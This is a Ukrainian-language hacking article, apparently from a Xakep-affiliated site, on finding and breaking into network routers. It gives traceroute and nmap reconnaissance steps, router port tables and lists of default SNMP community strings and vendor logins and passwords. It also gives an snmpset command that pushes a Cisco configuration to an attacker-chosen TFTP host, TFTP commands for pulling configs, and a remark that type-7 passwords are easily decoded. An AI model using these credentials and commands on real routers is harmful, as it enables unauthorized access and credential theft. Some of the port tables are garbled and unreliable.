Роутер – ворог твій

ворог

ворог

Xakep #240. Ghidra

твій

Xakep #239. Розкрити та вивчити

ворог

Xakep #238. Забутий Android

ворог

Xakep #237. Даркнет 2018

ворог

Порившись в архівах статей на сайтах, пов'язаних з мережевою безпекою, я не знайшов практично ніякої інформації присвяченої роутерам (маршрутизаторам), але це є дуже важливою і невід'ємною частиною будь-якої мережі. З цього я вирішив написати цю статтю, в якій я розгляну приклади визначення віддаленого роутера, визначення типу ОС на якій він встановлений, користувачі, що найчастіше зустрічаються, за замовчуванням та інші не маловажні вразливості.

bash# traceroute www.example.net 1 some.dns.001.com (*.*.*.1) 2.260 ms 1.911 ms 1.363 ms 2 some.dns.002.com (*.*. *.2) 3.952 ms 3.966 ms 4.297 ms 3 some.dns.003.com (*.*.*.3) 4.370 ms 9.422 ms 5.381 ms 4 some.dns.004.com (*. *.*.4) 12.176 ms 13.102 ms 13.050 ms 5 www.example.net (*.*.*.5) 43.755 ms 42.683 ms 42.612 ms

У командному рядку набираємо ( для тих хто не знає : Start>Programs>Command Promt або Пуск>Програми>Режим MSDOS):

Отримуємо щось на кшталт цього:

1 160ms 190ms 150ms some.dns.001.com *.*.*.1 2 310ms 421ms 275ms some.dns.002.com *.*.*.2 3 234ms 434ms 43ms some.dns .003.com [*.*.*.3] 4 910ms 324ms 432ms some.dns.004.com [*.*.*.4] 5 764ms 321ms 354ms www.example.net [* .*.*.5]

Хоча на мій погляд для Windows краще скористатися якою-небудь альтернативною програмою у якої є ця функція, наприклад ShadowScan, WS Ping Pro і т.д.

bash# nmap -p1-170, 510-520, 2001, 4001, 6001, 7161, 9001*.*.*.4

Для Windows візьми порт сканер з тих щоя привів вище або будь-який інший і відсканую порти, якщо хочеш можеш хоч все. Далі я буду писати тільки для Unix як це робиться для Windows я думаю вже зрозуміло.

Ось таблиця портів для деяких роутерів:

21(ftp) 0(tcpmux) 23(telnet) 49(domain) 79(finger) 67(bootpc) 80(http) 69(tftp) 512(exec) 123( ntp) 513(login) 161(snmp) 514(shell) 1993(Cisco snmp) 1999(Cisko ident) 2001 4001 6001 9001(xRemote service)

21(ftp) 7(echo) 23(telnet) 9(discard) 67(bootpc) 68(bootpc) 69(tftp) 161(snmp) 520(route)

23(telnet) 7(echo) 9(discard) 161(snmp) 162(snmp-trap) 514(shell) 520(route)

До речі, на багатьох Cisco при підключенні на порт 23 і 2001 ви побачите запрошення типу:

User Access Verification Password:

Припустимо, ми визначили тип роутера, але це ще лише півдороги. Давайте розглянемо деякі методи пошуку інформації про операційну систему.

1) на 13-му порту, можна спробувати запустити nmap з наступними параметрами:

bash# nmap -O -p13 -n *.*.*.4

Якщо порт відкритий з'явиться щось типу:

Remote operating system guess: Cisco Router

2) 2001, 4001, 6001 - є віртуально термінальними портами, не завжди це може бути cisco. Перевірити можна вписавши у браузер:

якщо відповіддю буде щось подібне:

User Access Verification Password: Password: Password: % Bad Password

ми на правильному шляху.

3) 9001 порт відповідає за xRemote service, що запускає xSessions. Приєднавшись на 9001 порт, ми отримаємо запрошення:

- Out Bound Xremote srvice - Роутер Ascend

Будь-який бажаючий може прочитати вміст MIB, використовуючи community string read.

show snmp comm types

дана команда виведе всі імена для запису та читання :).

Ось листинг read/write community names для SNMP, які використовуються за замовчуванням:

-public -write -cisco -all private -private -read -tivoli -openview -monitor -manager -security -default -password -network -community -secret -world -admin

Нижче наведено список дефолтових паролів до деяких пристроїв:

Пристрій Логін Пароль Права

Cisco enable cisco адміністратор 23(telnet) c [тільки для cisco 2600s] 23(telnet) cisco користувач 23(telnet) cisco routers

Bay router User [немає пароля] користувач Manager [немає пароля] адміністратор Bay 350T switch NetICs NA адміністратор Bay SuperStack II security security адміністратор Shiva root [немає пароля] адміністратор Guest [ немає пароля] користувач WebRamp wradmin trancell адміністратор MotorolaCable cablecom router адміністратор 3Com admin synnet адміністратор manager manager адміністратор write synnet адміністратор debug synnet адміністратор tech користувач monitor monitor користувач read synnet користувач

(Повний список дефолтових логінів ви без праці можете знайти в мережі, наприклад на Astalavist'е).

Пропоную плавно перейти на Сisco роутери, які на сьогоднішній день є найпоширенішими та зарекомендували себе у справі.

На cisco роутерах є підтримка старої MIB, що дозволяє будь-якому з read/write community name завантажити файли конфігурації (які зберігають зашифровані паролі) за допомогою TFTP. Розшифрувати паролі не складе особливих труднощів, т.к. шифрується все XOR'ом. Для перевіркироутера на вразливість можна звернутися сюди www.solarwinds.net (тут є вся необхідна інформація).

Ось приклад стягування конфіг файлу на машині UNIX:

snmpset *.*.*.4 private 1.3.6.1.4.1.9.2.1.55.[ваш tftp хост] s [file.config]

Як я вже згадав, слабкий алгоритм XOR дозволить легко розшифрувати пароль. Щоб уникнути цього, раджу перевірити яким алгоритмом зашифрований пароль, для цього можна подивитися в конфігурації:

Варіантом з XOR буде щось схоже на це:

enable password 7 08204E

До речі, не тільки на Cisco можливий варіант завантаження файлу конфігурації, ви можете просканувати ваш роутер на 69 порт - на якому можливо важить TFTP. Якщо результат виявиться позитивним, можна спробувати викачати файл конфігурації так:

bash# tftp connect *.*.*.4 get [dns-name].cfg quit

Прикладом конфігураційного файлу був [dns-name], т.к. дуже часто ім'я конфігураційного файлу збігається з доменним ім'ям маршрутизатора.

Може і про це напишу, а на сьогодні вистачить Поки що.